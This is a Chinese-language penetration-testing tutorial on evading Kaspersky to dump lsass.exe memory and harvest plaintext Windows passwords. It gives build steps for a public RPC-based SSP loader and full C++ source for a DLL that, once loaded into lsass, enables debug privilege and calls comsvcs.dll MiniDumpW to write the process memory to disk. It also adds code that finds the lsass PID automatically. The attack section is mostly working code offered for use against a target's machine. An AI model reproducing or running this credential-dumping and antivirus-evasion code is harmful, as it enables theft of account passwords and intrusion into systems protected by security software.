繞過卡巴斯基dump進程lsass.exe內存
1:簡介
起因是前兩天看到QAX-Ateam的一篇關于滲透的文章《這是一篇“不一樣”的真實滲透測試案例分析文章》:
https://blog.ateam.qianxin.com/post/zhe-shi-yi-pian-bu-yi-yang-de-zhen-shi-shen-tou-ce-shi-an-li-fen-xi-wen-zhang/
里面提到了學習XPN大牛的方法,繞過卡巴斯基的防護機制成功dump進程lsass.exe的內存,再將其下載到本地完成抓取明文密碼的工作。
本文簡單將其過程做梳理,方便使用,原理方面推薦看如下幾篇文章:
(1)XPN大佬的英文原文:https://blog.xpnsec.com/exploring-mimikatz-part-2/
(2)安全客的翻譯文章:https://www.anquanke.com/post/id/180001
(3)n1nty大牛的內容:https://www.anquanke.com/post/id/180001
(4)3gstudent大牛的文章:https://3gstudent.github.io/
基本上看完這四篇文章,不能完全理解也能懂個大概,由于涉及內容相對深入一點,我覺得初學者就記得一個點就好:用這種辦法可以繞過卡巴斯基的防護,成功dump進程lsass.exe的內存,完成明文密碼抓取工作。用Ateam文章的說法就是“加載dll到lsass進程然后,讓lsass.exe讀自己的內存完成dump工作”。:)
2:流程
2.1:編譯XPN大牛的代碼
XPN大牛寫了使用RPC控制lsass加載SSP的代碼,這里不做過多介紹:
代碼地址:https://gist.github.com/xpn/c7f6d15bf15750eae3ec349e7ec2380e
這里我們要做的只是將三個文件下載到本地,使用visual studio進行編譯即可。筆者使用visual studio 2019,修改了幾個小地方
(1)添加如下代碼
#pragma comment(lib, "Rpcrt4.lib")
(2)將兩個文件的后綴名從.c改成.cpp
(3)編譯時選擇X64
編譯XPN大牛代碼得到文件:ssp_rpc_loader.exe
2.2:實現dump內存代碼
正如Ateam文章中提到,有了這個exe文件,自己再用代碼實現dump內存即可,這里直接放Ateam大佬們的代碼:
#include #include #include #include #include #pragma comment(lib,"Dbghelp.lib")typedef HRESULT(WINAPI* _MiniDumpW)( DWORD arg1, DWORD arg2, PWCHAR cmdline);
typedef NTSTATUS(WINAPI* _RtlAdjustPrivilege)( ULONG Privilege, BOOL Enable, BOOL CurrentThread, PULONG Enabled);
int dump() {
HRESULT hr; _MiniDumpW MiniDumpW; _RtlAdjustPrivilege RtlAdjustPrivilege; ULONG t;
MiniDumpW = (_MiniDumpW)GetProcAddress( LoadLibrary(L"comsvcs.dll"), "MiniDumpW");
RtlAdjustPrivilege = (_RtlAdjustPrivilege)GetProcAddress( GetModuleHandle(L"ntdll"), "RtlAdjustPrivilege");
if (MiniDumpW == NULL) {
return 0; } // try enable debug privilege RtlAdjustPrivilege(20, TRUE, FALSE, &t);
wchar_t ws[100]; swprintf(ws, 100, L"%hs", "784 c:\\1.bin full"); //784是lsass進程的pid號 " full"
MiniDumpW(0, 0, ws); return 0;
}BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: dump(); break; case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE;}
注意:在pid那個地方,這里應該輸入對方電腦上lsass.exe進程的pid,所以要先確認pid,再編譯這樣才能準確dump進程lsass.exe的內存。
再來簡單說一下代碼原理,就是使用comsvcs.dll的導出函數MiniDumpW來實現dump內存,有興趣的朋友可以自己實現以下,也可以調用MiniDumpWriteDump()實現,函數原型:
BOOL MiniDumpWriteDump( HANDLE hProcess, DWORD ProcessId, HANDLE hFile, MINIDUMP_TYPE DumpType, PMINIDUMP_EXCEPTION_INFORMATION ExceptionParam, PMINIDUMP_USER_STREAM_INFORMATION UserStreamParam, PMINIDUMP_CALLBACK_INFORMATION CallbackParam);
有大牛寫了代碼,作為懶人就直接抄就好啦。
2.3:自動獲取lsass.exe進程的pid
如2.2寫的那樣,這個代碼有個缺點,就是需要每次先去找對方電腦lsass.exe進程的pid,而且每用一次就要編譯一次,這就比較麻煩。那懶散的安全工程師肯定要改改代碼。
既然我們的目標是針對lsass.exe進程,那我們只需要加上動態獲取lsass.exe進程pid的代碼即可。
代碼如下:
#include #include #include #include #include using namespace std;
int FindPID(){ PROCESSENTRY32 pe32; pe32.dwSize = sizeof(pe32);
HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (hProcessSnap == INVALID_HANDLE_VALUE) { cout << "CreateToolhelp32Snapshot Error!" << endl;; return false; }
BOOL bResult = Process32First(hProcessSnap, &pe32);
while (bResult) { if (_wcsicmp(pe32.szExeFile , L"lsass.exe") == 0) { return pe32.th32ProcessID; } bResult = Process32Next(hProcessSnap, &pe32); }
CloseHandle(hProcessSnap);
return -1;}
int main(){ cout << FindPID();
return 0;}
我們接下來要做的就是把2.2代碼和2.3代碼寫進一個文件,修改少許,然后編譯成dll即可。
3:效果
用一張圖來概括吧:
注意點也如圖,dll需要寫絕對路徑,至于1.bin文件位置,文件名去2.2修改代碼即可
